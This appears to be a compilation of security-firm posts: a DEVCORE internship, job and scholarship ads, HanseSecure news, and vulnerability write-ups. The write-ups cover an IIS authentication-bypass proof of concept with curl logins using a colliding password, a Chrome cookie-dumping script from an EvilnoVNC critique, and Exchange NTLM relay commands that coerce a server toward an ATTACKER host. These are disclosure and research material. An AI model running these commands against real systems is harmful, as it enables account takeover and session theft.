台北市松山區八德路三段 32 號 13 樓

實習時間

• 2022 年 9 月開始到 2023 年 2 月底，共 6 個月。
  • 備註：若應徵人數過多，我們評估無法在 08/26 前決定人選。整體實習時間將會順延一至兩週，屆時會提早發信通知所有應徵者。
• 每週工作兩天，工作時間為 10:00 – 18:00
  • 每週固定一天下午 14:00 - 18:00 必須到公司討論進度
  • 其餘時間皆為遠端作業

招募對象

大專院校大三（含）以上具有一定程度資安背景的學生

預計招收名額

• Binary 組：2~3 人
• Web 組：2~3 人

薪資待遇

每月新台幣 16,000 元

招募條件資格與流程

實習條件要求

Binary

• 基本逆向工程及除錯能力
  • 能看懂組合語言並瞭解基本 Debugger 使用技巧
• 基本漏洞利用能力
  • 須知道 Stack overflow、ROP 等相關利用技巧
• 基本 Scripting Language 開發能力
  • Python、Ruby
• 具備分析大型 Open Source 專案能力
  • 以 C/C++ 為主
• 具備基礎作業系統知識
  • 例如知道 Virtual Address 與 Physical Address 的概念
• Code Auditing
  • 知道怎樣寫的程式碼會有問題
    • Buffer Overflow
    • Use After free
    • Race Condition
    • …
• 具備研究熱誠，習慣了解技術本質
• 加分但非必要條件
  • CTF 比賽經驗
  • pwnable.tw 成績
  • 樂於分享技術
    • 有公開的技術 blog/slide、Write-ups 或是演講
  • 精通 IDA Pro 或 Ghidra
  • 有寫過 1-day 利用程式
  • 具備下列其中之一經驗
    • Kernel Exploit
    • Windows Exploit
    • Browser Exploit
    • Bug Bounty

Web

• 熟悉 OWASP Web Top 10。
• 理解 PortSwigger Web Security Academy 中所有的安全議題或已完成所有 Lab。
  • 參考連結：https://portswigger.net/web-security/all-materials
• 理解計算機網路的基本概念。
• 熟悉 Command Line 操作，包含 Unix-like 和 Windows 作業系統的常見或內建系統指令工具。
• 熟悉任一種網頁程式語言（如：PHP、ASP.NET、JSP），具備可以建立完整網頁服務的能力。
• 熟悉任一種 Scripting Language（如：Shell Script、Python、Ruby），並能使用腳本輔以研究。
• 具備除錯能力，能善用 Debugger 追蹤程式流程、能重現並收斂問題。
• 具備可以建置、設定常見網頁伺服器（如：Nginx、Apache）及作業系統（如：Linux）的能力。
• 具備追根究柢的精神。
• 加分但非必要條件
  • 曾經獨立挖掘過 0-day 漏洞。
  • 曾經獨立分析過已知漏洞並能撰寫 1-day exploit。
  • 曾經於 CTF 比賽中擔任出題者並建置過題目。
  • 擁有 OSCP 證照或同等能力之證照。

應徵流程

本次甄選一共分為二個階段：

第一階段：書面審查

第一階段為書面審查，會需要審查下列兩個項目

• 履歷資格審查
• 問答題答案（共 2 題，各組別題目不同，詳見下方報名方式）

我們會根據您的履歷及所回答的內容來決定是否有通過第一階段，會在七個工作天內回覆。

第二階段：面試

此階段為 1~2 小時的面試，會有 2~3 位資深夥伴參與，評估您是否具備本次實習所需的技術能力與人格特質。

報名方式

• 請將您的履歷及題目答案以 PDF 格式寄到 [email protected]
  • 履歷格式請參考範例示意（DOCX、PAGES、PDF）並轉成 PDF。若您有自信，也可以自由發揮最能呈現您能力的履歷。
  • 請於 2022/08/12（五）23:59 前寄出（如果名額已滿則視情況提早結束）
• 信件標題格式：[應徵] 職位 您的姓名（範例：[應徵] Web 組實習生 王小美）
• 履歷內容請務必控制在三頁以內，至少需包含以下內容：
  • 基本資料
  • 學歷
  • 實習經歷
  • 社群活動經歷
  • 特殊事蹟
  • 過去對於資安的相關研究
  • 對於這份實習的期望
  • MBTI 職業性格測試結果（測試網頁）
• 題目如下，請依照欲申請之組別回答
  • Binary
    • 簡答題
      • 假設你今天要分析一台印表機
        • 你會如何去分析 ?
        • 你覺得有哪些地方可能會發生問題導致攻擊者可以獲得印表機控制權? 為什麼 ?
    • 實作題目
      • 題目檔案
        • 為一個互動式的 Server，可透過網路連線與之互動。
      • 請分析上述所提供的 Server，並利用其中的漏洞在 Windows 11 上跳出 calc.exe。
        • 漏洞可能有很多，不一定每個都可以利用。
      • 請務必寫下解題過程及如何去分析這個 Server，並交 write-up，請盡你所能來解題，即使最後沒有成功，也請寫下您所嘗試過的方法及思路，本測驗將會以 write-up 為主要依據。
  • Web
    • 當你在網頁瀏覽器的網址列上輸入一串網址（例如：http://site.fake.devco.re/index.php?foo=bar），隨後按下 Enter 鍵到出現網頁畫面為止，請問中間發生了什麼事情？請根據你所知的知識背景，以文字盡可能說明。
    • 請提出三個，你印象最深刻或感到有趣、於西元 2020 ~ 2022 年間公開的真實漏洞或攻擊鏈案例，並依自己的理解簡述說明各個漏洞的成因、利用條件和可以造成的影響，以及所對應到的 OWASP Top 10 / CWE 類別。
    • （上述題目建議撰寫 1~2 頁即可）

若有應徵相關問題，請一律使用 Email 聯繫，如造成您的不便請見諒，我們感謝您的來信，並期待您的加入！

Gefahr -Identitätsdiebstahl bei Bewerbungen im Netz

Gängige Bewerberportale bieten den Nährboden für falsche Stellenanzeigen und den einhergehenden Identitätsdiebstahl.
“Schicken Sie uns Ihren Lebenslauf und wir benötigen Ihre Daten”, somit -VIELEN DANK für IHRE IDENTITÄT.
Erkennbar ist für Bewerber nichts! Diese Masche läuft schnell und unkompliziert. Die Gefahr- plötzlich führt die Unwissenheit zur Strafe. Strafverfahren für den gutgläubigen Bewerber folgen.

Zusammenfassung

• Identitätsdiebstahl geht ohne großen Aufwand & Kosten
• Strafanzeigen für den Bewerber folgen
• Personalausweis & Pässe niemals online zeigen/ schicken!

Links

Wer sich den Beitrag ansehen möchte, kann sich diesen entweder als Beitrag oder Video ansehen

Der Beitrag HanseSecure im ARD München Report erschien zuerst auf HanseSecure GmbH.

Rückblick

Am 21.Juli 2022 lud die „blu Sytems GmbH“ zum Praxistalk ein.

Thema

DIGITAL GOVERNANCE- NUR EIN WEITERES BUZZWORD?

Teilnehmer

Partner der „blu Systems GmbH“ Führungskräfte, IT-Leiter, IT Security Manager

Talking Points

“Security einfach, schnell und kostenfrei”

• präzise, verständlich, handhabbare Tipps zur Optimierung der IT- Sicherheit in Ihrem Unternehmen
• 6 QuickFails > einfach umzusetzen- keine großen Kosten- schnell, mit großem Security Impact z.B. LAPS, Office Macros

Der Beitrag HanseSecure als Speaker in der Allianz Arena München erschien zuerst auf HanseSecure GmbH.

Hi, this is my fifth time speaking at Black Hat USA and DEFCON. You can get the slide copy and video there:

• Let’s Dance in the Cache - Destabilizing Hash Table on Microsoft IIS (slides)
• Let’s Dance in the Cache - Destabilizing Hash Table on Microsoft IIS (video - TBD)

As the most fundamental Data Structure in Computer Science, Hash Table is extensively used in Computer Infrastructures, such as Operating Systems, Programming Languages, Databases, and Web Servers. Also, because of its importance, Microsoft has designed its own Hash Table algorithm from a very early stage, and applied it heavily to its web server, IIS.

Since IIS does not release its source code, I guess the algorithm implementation details should be an unexplored area to discover bugs. Therefore, this research mainly focuses on the Hash Table implementation and its usage. We also look into the Cache mechanism because most of the Hash Table usages in IIS are Cache-Related!

Because most of the details are in the slides, please forgive me this time for this brief write-ups instead of a full blog.

• CVE-2022-22025 - Microsoft IIS Hash-Flooding DoS
• CVE-2022-22040 - Microsoft IIS Cache Poisoning Attack
• CVE-2022-30209 - Microsoft IIS Authentication Bypass

P.S. All vulnerabilities addressed in this blog have been reported responsibly to Microsoft and patched in July 2022.

1. IIS Hash-Flooding DoS

It’s hard to imagine that we can still see such a classic Algorithmic Complexity Attack as Hash-Flooding Attack in IIS in 2022. Although Microsoft has configured a thread deleting outdated records every 30 seconds to mitigate the attack, we still found a key-splitting bug in the implementation to amplify our power by over 10 times to defeat the guardian by zero hashes. Through this bug we can make a default installed IIS Server unresponsive with about 30 connections per second!

Because this bug also qualifies for the Windows Insider Preview Bounty Program, we also rewarded $30,000 for this DoS. This is the maximum bounty for the category of Denial-of-Service!

You can check the full demo video here:

2. IIS Cache Poisoning Attack

Compared with other marvelous Cache Poisoning research, this one is relatively plain. The bug is found in the component of Output Caching, the module responsible for caching dynamic responses to reduce expensive database or filesystem access on web stacks.

Output Caching uses a bad Query String parser that only takes the first occurrence as the Cache-Key when Query String keys are duplicated. This behavior is actually not a problem independently. However, it’s a trouble in the view of the whole architecture with the backend, ASP.NET. The backend concatenates the value of all repeated keys together, which leads to an inconsistency between parser behaviors. Therefore, a classic HTTP Parameter Pollution can make IIS cache the wrong result!

3. IIS Authentication Bypass

This may be the most interesting bug of this talk. LKRHash is a Hash Table algorithm designed and patented by Microsoft in 1997. It’s based on Linear Hashing and created by Paul Larson of Microsoft Research, Murali Krishnan and George Reilly of the IIS team.

LKRHash aims to build a scalable and high-concurrent Hash Table under the multithreading and multi-core environment. The creators put a lot of effort into making this implementation portable, flexible and customizable to adapt to multiple products across Microsoft. An application can define its own Table-Related functions, such as the Hash Function, the Key Extracting Function, or the Key Comparing Function. This kind of extensibility creates a bunch of opportunities for vulnerability mining. So, under this context, we cares more about the relationship between the records, the keys, and the functions.

CLKRHashTable::CLKRHashTable(
    this,
    "TOKEN_CACHE",   // An identifier for debugging
    pfnExtractKey,   // Extract key from record
    pfnCalcKeyHash,  // Calculate hash signature of key
    pfnEqualKeys,    // Compare two keys
    pfnAddRefRecord, // AddRef in FindKey, etc
    4.0,             // Bound on the average chain length.
    1,               // Initial size of hash table.
    0,               // Number of subordinate hash tables.
    0                // Allow multiple identical keys?
);

Because “Logon” is an expensive operation, to improve the performance, IIS cached all tokens for password-based authentications, such as Basic Authentication by default, and the bug we found this time is located in the logic of the key-comparing function when a collision occurs.

If a login attempt whose hash hits a key that is already in the cache, LKRHash enters the application-specific pfnEqualKeys function to determine whether the key is correct or not. The application-specific logic of TokenCacheModule is as follows:

As the logic compares several parts to make the decision, it’s weird why IIS compares the username twice.

I guess the original intent was to compare the password. However, the developer copy-and-pasted the code but forgot to replace the variable name. That leads to that an attacker can reuse another user’s logged-in token with random passwords.

To build the smallest PoC to test your own, you can create a testing account and configure the Basic Authentication on your IIS.

# add a test account, please ensure to remove that after testing
> net user orange test-for-CVE-2022-30209-auth-bypass /add

# the source of login is not important, this can be done outside IIS.
> curl -I -su 'orange:test-for-CVE-2022-30209-auth-bypass' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK

Under the attacker’s terminal:

# script for sanity check
> type test.py
def HashString(password):
    j = 0
    for c in map(ord, password):
        j = c + (101*j)&0xffffffff
    return j

assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')

# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized

# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK

As you can see, the attacker can log into the user orange with another password whose hash is the same as the original one.

However, it’s not easy to collide the hash. The probability of each attempt is only worth 1/2^32 because the hash is a 32-Bit Integer, and the attacker has no way to know the hash of existing cache keys. It’s a ridiculous number to make exploiting this bug like playing a lottery. The only pro is that the attempt costs nothing, and you have unlimited tries!

To make this bug more practical, we proposed several ways to win the lottery, such as:

1. Increase the odds of the collision - LKRHash combined LCGs to scramble the result to make the hash more random. However, we can lower the key space because the LCG is not one-to-one mapping under the 32-Bit Integer. There must be results that will never appear so that we can pre-compute a dictionary that excludes the password whose hash is not in the results and increase the success rate by 13% at least!
2. Regain the initiative - By understanding the root cause, we brainstorm several use cases that can cache the token in memory forever and no longer wait for user interaction, such as the IIS feature Connect As or leveraging software design patterns.

We have also proved this attack works naturally on Microsoft Exchange Server. By leveraging the default activated Exchange Active Monitoring service, we can enter HealthMailbox’s mailbox without passwords! This authentication-less account hijacking is useful for further exploitations such as phishing or chaining another post-auth RCE together!

Timeline

• Mar 16, 2022 - We reported the IIS Cache Poisoning to Microsoft through the MSRC portal.
• Apr 09, 2022 - We reported the IIS Hash-Flooding DoS to Microsoft through the MSRC portal.
• Apr 10, 2022 - We reported the IIS Authentication Bypass to Microsoft through the MSRC portal.
• Jul 12, 2022 - Microsoft fixed everything at July’s Patch Tuesday.

戴夫寇爾自 2012 年成立以來，秉持著為台灣累積更豐厚的資安競爭力，不只透過主動式資安服務協助企業檢測資安防禦，進而提升整體資安體質；同時我們也很關注資安技術人才的培育，除了擔任學術、政府單位專任講師及顧問以外，也長期支持學生時期創辦的校園資安社團 NISRA（Network and Information Security Research Association），幫助學生們從學生時代建構正確的資訊安全意識及技能外，也更早瞭解資安產業的現況，與產業界接軌。

近來產業紛紛加速數位轉型腳步，資安事件頻傳，加上相關法規的增設及施行，我們也觀察到資安重要性的關注度都大幅提高，為了培養更多人可以理解「駭客思維」、能模擬駭客攻擊情境、找出潛在資安風險，我們將擴大施行「資安人才培育計畫」，透過戴夫寇爾全國資訊安全獎學金及贊助資安教育活動等，支持更多志同道合的學子們關注資安議題，及早增強資安技能。

支持下一代資安人才 - 戴夫寇爾啟動「戴夫寇爾全國資訊安全獎學金」計劃

我們從學生時代就熱衷於資安研究，也透過校園課程、社團 NISRA 獲得充實的資安知識，有感於此，我們創立戴夫寇爾後也為母校—天主教輔仁大學、國立臺灣科技大學的學生設立了獎學金計畫，為學生的資安學習之路奉獻一點力量。

此計畫在 2022年（111 學年度）已邁入第 4 年，我們也擴大補助的範疇，首度為全國大專院校學生推出「戴夫寇爾全國資訊安全獎學金」，只要在資訊安全領域有出眾研究成果的學生，皆可以申請「戴夫寇爾全國資訊安全獎學金」補助，幫助大家在求學期間更加專注學習、奠定資安專長，進而形成正向循環。

有意申請者需提出學習資安的動機與歷程，並繳交資安研究或比賽成果，獲選者將能得到最高 2 萬元的研究補助，共 10 名。詳細申請辦法請見以下：

• 申請資格：全國各大專院校學生皆可以申請。
• 獎學金金額/名額：每年度取 10 名，每名可獲得獎學金新台幣 20,000 元整，共計 20 萬元。如報名踴躍我們將視申請狀況增加名額。
• 申請時程：
  • 2022/8/31 官網公告獎學金計畫資訊
  • 2022/9/1 - 2022/9/30 開放收件
  • 2022/10/31 公布審查結果，並將於 10 至 11 月間頒發獎學金
• 申請辦法：
  • 請依⽂件檢核表項次順序排列已附⽂件，彙整為⼀份 PDF 檔案，寄⾄ [email protected]。
  • 信件主旨及 PDF 檔案名稱請符合以下格式：[全國獎學⾦申請] 學校名稱_學號_姓名（範例：[全國獎學⾦申請] 輔仁⼤學_B11100000_王⼩美）。
  • 請申請⼈⾃我檢核並於申請⼈檢核區勾選已附⽂件，若⽂件不⿑或未確實勾選恕不受理申請。
• 需檢附文件：
  • 本獎學⾦申請表
  • 在學證明
  • 最近⼀學期成績單
  • 學習資訊安全之動機與歷程⼼得⼀篇：字數 500 - 2000 字
  • 資訊安全技術相關研究成果：至少須從以下六項目中擇一繳交，包含研討會投稿結果、漏洞獎勵計畫成果、弱點研究成果、資訊安全比賽成果、資安工具研究成果、技術文章發表成果等
  • 社群經營成果：至少須從以下兩項目中擇一繳交，包含校園資安社團、公開資安社群等
  • 推薦函：導師、系主任、其他教授或業界⼈⼠推薦函，⾄少須取得兩封以上推薦函

支持曾經的我們 - 戴夫寇爾續辦 2022 年資安教育活動贊助計劃

身為資安人，我們在學生時期所累積對資安熱情和好奇心，支撐著我們一路走來，不忘初衷地協防台灣安全，同時也期望可以用一點力量為社會帶來貢獻，期盼在未來可以幫助更多社團或社群的力量成為培養專業的養分。

因此，今年度我們也將持續贊助資安教育活動，提供經費予資安相關之社群、社團辦理各項活動，藉此降低資安知識落差，持續推廣資訊安全意識及技能，更進一步凝聚台灣資安社群的力量，幫助台灣培養下一個世代的資安人才。

• 申請資格：與資安議題相關之社群、社團活動，請由 1 位社團代表人填寫資料。
• 贊助金額：依各社團活動需求及與戴夫寇爾討論而定，每次最高補助金額為新台幣 20,000 元整。
• 申請時程：如欲申請此計畫的社團或活動，請於 2022/10/31 前透過以下連結填寫初步資料，我們會在 30 日內通知符合申請資格者提供進一步資料，不符合資格者將不另行通知。
• 申請連結：DEVCORE 2022 年資安教育活動贊助調查
• 需提供資料：
  • 申請資格：申請人需以各資安社群或社團名義提出申請。
  • 聯絡電子郵件
  • 想要辦理的活動類型
  • 想要辦理的活動方式
  • 活動總預算
  • 預計需要贊助金額
  • 代表人姓名、連絡電話
  • 團體名稱
  • 團體單位網址
• 注意事項：
  • 申請案審核將經過戴夫寇爾內部審核機制，並保有最終核決權。
  • 本問卷僅供初步意願蒐集用途，符合申請資格者，戴夫寇爾將於 30 日內通知提供進一步資料供審核，其餘將不另行通知。
  • 戴夫寇爾保有修改、暫停或終止本贊助計畫之權利。

The post CVE-2022-26113: FortiClient Arbitrary File Write As SYSTEM appeared first on Rhino Security Labs.

Dear Fellowlship, today’s homily is a rebuke to all those sinners who have decided to abandon the correct path of reverse proxies to bypass 2FA. Penitenziagite!

Prayers at the foot of the Altar a.k.a. disclaimer

This post will be small and succinct. It should be clear that these are just opinions about this technique that has become trendy in the last weeks, so it will be a much less technical article than we are used to. Thanks for your understanding :)

Introduction

In recent weeks, we have seen several references to this technique in the context of phishing campaigns, and its possible use to obtain valid sessions by bypassing MFA/2FA. Until now, the preferred technique for intercepting and reusing sessions to evade MFA/2FA has been the use of reverse proxies such as Evilginx or Muraena. These new proof of concepts based on HTML5 VNC clients boil down to the same concept: establishing a Man-in-the-Middle scheme between the victim’s browser and the target website, but using a browser in kiosk mode to act as a proxy instead of a server that parses and forwards the requests.

Probably the article that started this new trend was Steal Credentials & Bypass 2FA Using noVNC by @mrd0x.

Reverse proxy > noVNC

We believe the usage of noVNC and similar technologies is really interesting as proof of concepts, but at the moment they do not reach the bare minimum requirements to be used in real Red Team engagements or even pentesting. Let’s take EvilnoVNC as an example.

While testing this tool the following problems arise:

• Navigation is clunky as hell.
• The URL does not change, always remains the same while browsing.
• The back button breaks the navigation in the “real browser”, and not in the one inside the docker.
• Right-click is disabled.
• Links do not show the destination when onmouseover.
• Wrong screen resolution.
• Etc.

Even an untrained user would find out about these issues just with the look and feel.

On the other hand, the operator is heavily restricted in order to achieve a minimum of OPSEC. As an example, we can think about the most basic check we should bypass: User-Agent. Mimicking the User-Agent used by the victim is trivial when dealing with proxies, as we only need to forward it in the request from our server to the real website, but in the case of a browser using kiosk mode it is a bit more difficult to achieve. And the same goes for other modifications that we should make to the original request like, for example, blocking the navigation to a /logout endpoint that would nuke the session.

Another fun fact about this tool is… it does not work. If you test the tool you will find the following:

psyconauta@insulanova:/tmp/EvilnoVNC/Downloads|main⚡ ⇒  cat Cookies.txt

        Host: .google.com
        Cookie name: AEC
        Cookie value (decrypted): Encrypted
        Creation datetime (UTC): 2022-09-10 19:44:54.548204
        Last access datetime (UTC): 2022-09-10 21:31:39.833445
        Expires datetime (UTC): 2023-03-09 19:44:54.548204
        ===============================================================

        Host: .google.com
        Cookie name: CONSENT
        Cookie value (decrypted): Encrypted
        Creation datetime (UTC): 2022-09-10 19:44:54.548350
        Last access datetime (UTC): 2022-09-10 21:31:39.833445
        Expires datetime (UTC): 2024-09-09 19:44:54.548350
        ===============================================================
(...)

Which is really odd. If you check the code from the GitHub repo…

import os
import json
import base64
import sqlite3
from datetime import datetime, timedelta

def get_chrome_datetime(chromedate):
    """Return a `datetime.datetime` object from a chrome format datetime
    Since `chromedate` is formatted as the number of microseconds since January, 1601"""
    if chromedate != 86400000000 and chromedate:
        try:
            return datetime(1601, 1, 1) + timedelta(microseconds=chromedate)
        except Exception as e:
            print(f"Error: {e}, chromedate: {chromedate}")
            return chromedate
    else:
        return ""

def main():
    # local sqlite Chrome cookie database path
    filename = "Downloads/Default/Cookies"
    # connect to the database
    db = sqlite3.connect(filename)
    # ignore decoding errors
    db.text_factory = lambda b: b.decode(errors="ignore")
    cursor = db.cursor()
    # get the cookies from `cookies` table
    cursor.execute("""
    SELECT host_key, name, value, creation_utc, last_access_utc, expires_utc, encrypted_value 
    FROM cookies""")
    # you can also search by domain, e.g thepythoncode.com
    # cursor.execute("""
    # SELECT host_key, name, value, creation_utc, last_access_utc, expires_utc, encrypted_value
    # FROM cookies
    # WHERE host_key like '%thepythoncode.com%'""")
    # get the AES key
    for host_key, name, value, creation_utc, last_access_utc, expires_utc, encrypted_value in cursor.fetchall():
        if not value:
            decrypted_value = "Encrypted"
        else:
            # already decrypted
            decrypted_value = value
        print(f"""
        Host: {host_key}
        Cookie name: {name}
        Cookie value (decrypted): {decrypted_value}
        Creation datetime (UTC): {get_chrome_datetime(creation_utc)}
        Last access datetime (UTC): {get_chrome_datetime(last_access_utc)}
        Expires datetime (UTC): {get_chrome_datetime(expires_utc)}
        ===============================================================""")
        # update the cookies table with the decrypted value
        # and make session cookie persistent
        cursor.execute("""
        UPDATE cookies SET value = ?, has_expires = 1, expires_utc = 99999999999999999, is_persistent = 1, is_secure = 0
        WHERE host_key = ?
        AND name = ?""", (decrypted_value, host_key, name))
    # commit changes
    db.commit()
    # close connection
    db.close()


if __name__ == "__main__":
    main()

As you can see, the script is just a rip off from this post, but the author of EvilnoVNC deleted the part where the cookies are decrypted :facepalm:.

You can not grab the cookies because you are setting its value to the literal string Encrypted instead of the real decrypted value :yet-another-facepalm:. We did not check if this dockerized version saves the master password in the keyring or if it just uses the hardcoded ‘peanuts’. In the former case, copying the files to your profile shouldn’t work.

About detection

The capability to detect this technique heavily relies on what can you inspect. The current published tooling uses a barely modified version of noVNC, meaning that if you are already inspecting web JavaScript to catch malicious stuff like HTML smuggling, you could add signatures to detect the use of RFB. Of course it is trivial to bypass this by simply obfuscating the JavaScript, but you are sure to catch a myriad of ball-busting script kiddies.

psyconauta@insulanova:/tmp/EvilnoVNC/Downloads|main⚡ ⇒  curl http://localhost:5980/ 2>&1 | grep RFB
        // RFB holds the API to connect and communicate with a VNC server
        import RFB from './core/rfb.js';
        // Creating a new RFB object will start a new connection
        rfb = new RFB(document.getElementById('screen'), url,
        // Add listeners to important events from the RFB module

Moreover, all control is done through the RFB over WebSockets protocol, so it is quite easy to spot this type of traffic as it is unencrypted at the application level.

Additionally, because this protocol is easy to implement, you can create a small script to send keystrokes and/or mouse movements directly to escape from Chromium to the desktop.

This tool executes noVNC on a docker so there is not much to do after escaping from Chromium, but think about other script kiddies who execute it directly on a server :). Automating the scanner & pwnage of this kind of phishing sites is easy if you have the time.

From the point of view of the endpoint to log into, it is easier to detect the use of a User-Agent other than the usual one. If your user base accesses your VPN web portal from Windows, someone connecting from Linux should trigger an alert.

And finally, the classic “training-education-whatever” of users would help a lot as the current state of the art is trivial to spot.

EoF

Tooling around this concept of MFA/2FA bypassing is still too rudimentary to be used in real engagements, although they are really cool proof of concepts. We believe it will evolve within the next years (or months) and people will start to work on better approaches. For now, reverse proxies are still more powerful as they can be easily configured to blend in with legitimate traffic, and the user does not experience look and feel annoyances.

We hope you enjoyed this reading! Feel free to give us feedback at our twitter @AdeptsOf0xCC.

你對資安研究有滿腔熱血但卻找不到人討論嗎？ 常常參加各大 CTF 比賽，卻不知如何將學會的技能發揮在真實世界中嗎？ 你也想要為保護世界盡一份心力嗎？

DEVCORE Research Team 成立數年來持續研究最前瞻的資安技術，回報過多個世界級的漏洞，在 Black Hat、DEFCON 等國際資安研討會都能看見我們的戰績，Pwnie Awards、Best Web Hacking Techniques 各種獎項我們也毫不留情地橫掃，在 Pwn2Own 駭客大賽中更是列居首位！然而，資安領域之廣、更迭速度之快，單憑寥寥數人也是力有未逮，

一個人走，可以走得很快；但一群人走，可以走得更遠。

故此，We Need YOU!

現在，DEVCORE Research Team 公開徵求資安研究員囉！不論你是專精於網頁安全，或是對逆向工程情有獨鍾，甚至你喜歡動手拆解硬體，我們不需要你的肝，只需要你對於資安研究的熱忱！我們看重的不是工作經驗，而是對資安傾注過多少心力！

在這裡工作，你將可以得到

• 與頂尖駭客一起交流、合作的寶貴經驗
• 實際體驗並挖掘 Real World 漏洞，找到屬於自己的第一個 CVE！
• 深入業界實戰攻防，真實感受漏洞研究與企業資安的結合

想把駭客作為你的終身職嗎？歡迎各領域的駭客們一起加入！

工作內容

• 個人研究 70%
  • 對影響世界的產品進行漏洞研究
  • 將找到的漏洞回報廠商並進行漏洞發表
• 檢測或協助專案 30%
  • 規劃、執行產品安全測試
  • 根據檢測需求，研究相關弱點或開發相關工具
  • 協助紅隊執行專案，提供技術火力支援

工作條件要求

• 具備漏洞挖掘能力
• 具備漏洞利用程式撰寫能力
• 具備基本程式語言開發能力
• 具備研究熱誠，習慣了解技術本質
• 具備特定領域資安相關知識，包含但不限於
  • 主流作業系統運作機制、相關漏洞及其利用技術
  • 主流瀏覽器架構、相關漏洞及其利用技術
  • 硬體介面相關攻擊手法、具實作經驗
  • 手機底層韌體架構及防禦機制
  • 網頁應用程式攻擊手法
  • 網路相關攻擊手法

加分條件

• CTF 比賽經驗
• pwnable.tw 成績
• Flare-On 成績
• 公開的技術 blog/slide/write-ups 或 side projects
• Bug Bounty / 漏洞回報經驗
• 資安研討會演講經驗
• 資安相關教學經驗
• 喜歡自己動手撰寫工具
• 主動追蹤並學習最新資安相關技術

起薪範圍

新台幣 80,000 - 100,000 （保證年薪 14 個月）

詳細的工作環境與應徵方式請參考招募頁面

Hi, this is a long-time-pending article. We could have published this article earlier (the original bug was reported to MSRC in June 2021 with a 90-days Public Disclosure Policy). However, during communications with MSRC, they explained that since this is an architectural design issue, lots of code changes and testings are expected and required, so they hope to resolve this problem with a one-time CU (Cumulative Update) instead of the regular Patch Tuesday. We understand their situation and agree to extend the deadline.

Microsoft eventually released Exchange Server 2019 CU 12 and Exchange Server 2016 CU 23 on April 20, 2022. However, this patch did not enable by default. Microsoft didn’t release the patch-activating methods until August 09, 2022. So, we originally had the opportunity to demonstrate our attack at Pwn2Own Vancouver 2021. However, we dropped the idea quickly because our intention is not to earn bounties. We are here to secure the world! You can check the Timeline to know the detailed disclosure process.

Idea

Since Microsoft blocked our Proxy-Related attacks in April 2021, I have been thinking about whether there is a way to bypass the mitigation. During that April patch, Microsoft enhanced the authentication part of CAS Frontend by requiring all HTTP requests that need a Kerberos Ticket to be authenticated first. This enhancement effectively mitigated the attack surface we proposed and stopped unauthenticated HTTP requests accessing the CAS Backend. So Exchange is safe now?

Of course not, and this article is to prove this! Since Microsoft only fixes the problematic code, we proposed several attacks and possible weaknesses in our POC 2021 and HITCON 2021 talks.

Maybe you have heard that our first prediction has already been made in recent ProxyNotShell. The attack reuses the path confusion of ProxyShell but attaches a pre-known authentication instead. It’s solid but it looks it still needs a valid authentication (not sure, still haven’t time to dig into). However, we hinted there is another way not to fight with the auth-enhancement face-to-face during my talks. Now we can finally disclose it :)

Just in case you don’t know, I am a big fan of Printer Bug (kudos to Lee Christensen, Will Schroeder, and Matt Nelson for their amazing talk at DerbyCon 2018). PrinterBug allows an attacker to coerce any domain-joined machine to initiate an SMB connection with its own Machine Account to the attacker via MS-RPRN protocol. Because this behavior works as designed, this hacker-friendly feature has been extensively used for NTLM relaying for years.

In the architecture of Exchange CAS, Backend authorizes an HTTP request to have the ability to impersonate any user by checking whether the login identity has the Extended Right of ms-Exch-EPI-Token-Serialization or not. Also, during the Exchange Server installation, the mailbox server will be added to the Exchange Servers group automatically, and all objects in this Active Directory group have that Token-Serialization right by default.

With the prior knowledge in mind, I come up with a simple idea. It’s common to see multiple Exchange Servers in corporate networks for high availability and site resilience. Can we relay the NTLM authentication among Exchange Servers?

There are several pros to this relay idea. Since it’s a cross-machine relay, it won’t be limited by the same-host restriction. Also, because the NTLM authentication is initiated by the Machine Account of Exchange Server, the relayed authentication owns the Token-Serialization right that allows us to impersonate any user in Exchange services. I believe this is a fantastic idea and would like to explore if it is exploitable!

P.S. This attack surface was also found and reported to MSRC independently by Dlive from Tencent Xuanwu Lab, so you can see we share most of the CVE acknowledgments.

Vulnerabilities

Let’s talk about the vulnerabilities. Since it’s an entire attack surface instead of a single bug, this idea could be applied to different contexts, causing different vulnerabilities. The impact of these vulnerabilities is that an attacker can bypass Exchange authentications or even get code execution without user-interaction. Here are the related CVEs so far:

• CVE-2021-33768 - Relay to Exchange FrontEnd
• CVE-2022-21979 - Relay to Exchange BackEnd
• CVE-2021-26414 - Relay to Windows DCOM
• CVE-2022-RESERVED - Relay to other services of Exchange

The following attacks have the similar template, the host EX01 stands for the first Exchange Server, EX02 for the second Exchange Server, and ATTACKER for the attacker-controlled server.

In all attacks, the attacker coerces the first Exchange Server to initiate an NTLM authentication to him, and relay it to the second Exchange Server. We use printerbug.py to coerce a server to initiate an SMB connection and use ntlmrelayx.py to catch the NTLM and relay the authentication to another Exchange Server.

Round 1 - Relay to Exchange FrontEnd

For the first context, we try to relay the authentication to another Frontend of Exchange Server. Since the identity of the relayed authentication is Exchange’s Machine Account which owns the Token-Serialization right, we can impersonate any user! Here we relay the NTLM authentication from EX01 to EX02’s Frontend EWS service as the showcase. We implement the relay-to-frontend-EWS attack by customizing the httpattack.py! Here is a simple overview:

1. Run the ntlmrelayx.py on the ATTACKER server to wait for NTLM authentications.
2. Use the printerbug.py to coerce EX01 to initiate an SMB connection to ATTACKER.
3. Receive the SMB connection on the ATTACKER and relay the NTLM blobs to EX02.
4. Complete the NTLM handshakes to get full access to the EWS endpoint.

# Terminal 1
$ python ntlmrelayx.py -smb2support -t https://EX02/EWS/Exchange.asmx

# Terminal 2
$ python printerbug.py EX01 ATTACKER

Theoretically, we can take over the target mailbox by EWS operations. Here we give a demo to dump the secret under administrator’s mailbox.

Patching FrontEnd

Microsoft assigned CVE-2021-33768 and released a patch to fix that Frontend is relay-able in July 2021. Since logging in as Machine Account in Frontend isn’t a regular operation, it’s easy to mitigate the attack by adding a check IsSystemOrMachineAccount() on the Frontend Proxy-Handler to ensure all Frontend logons are not Machine Account.

Round 2 - Relay to Exchange BackEnd

Relaying to Frontend can be easily mitigated by a simple check. How about relaying to Backend? Since Backend verifies the Frontend requests by checking whether it’s a Machine Account or not, mitigating Backend would be more challenging because it’s a regular operation and Backend needs the Machine Account that hash the extended right of ms-Exch-EPI-Token-Serialization to impersonate to the desired user. Here we provide 3 showcases against attacking Backend.

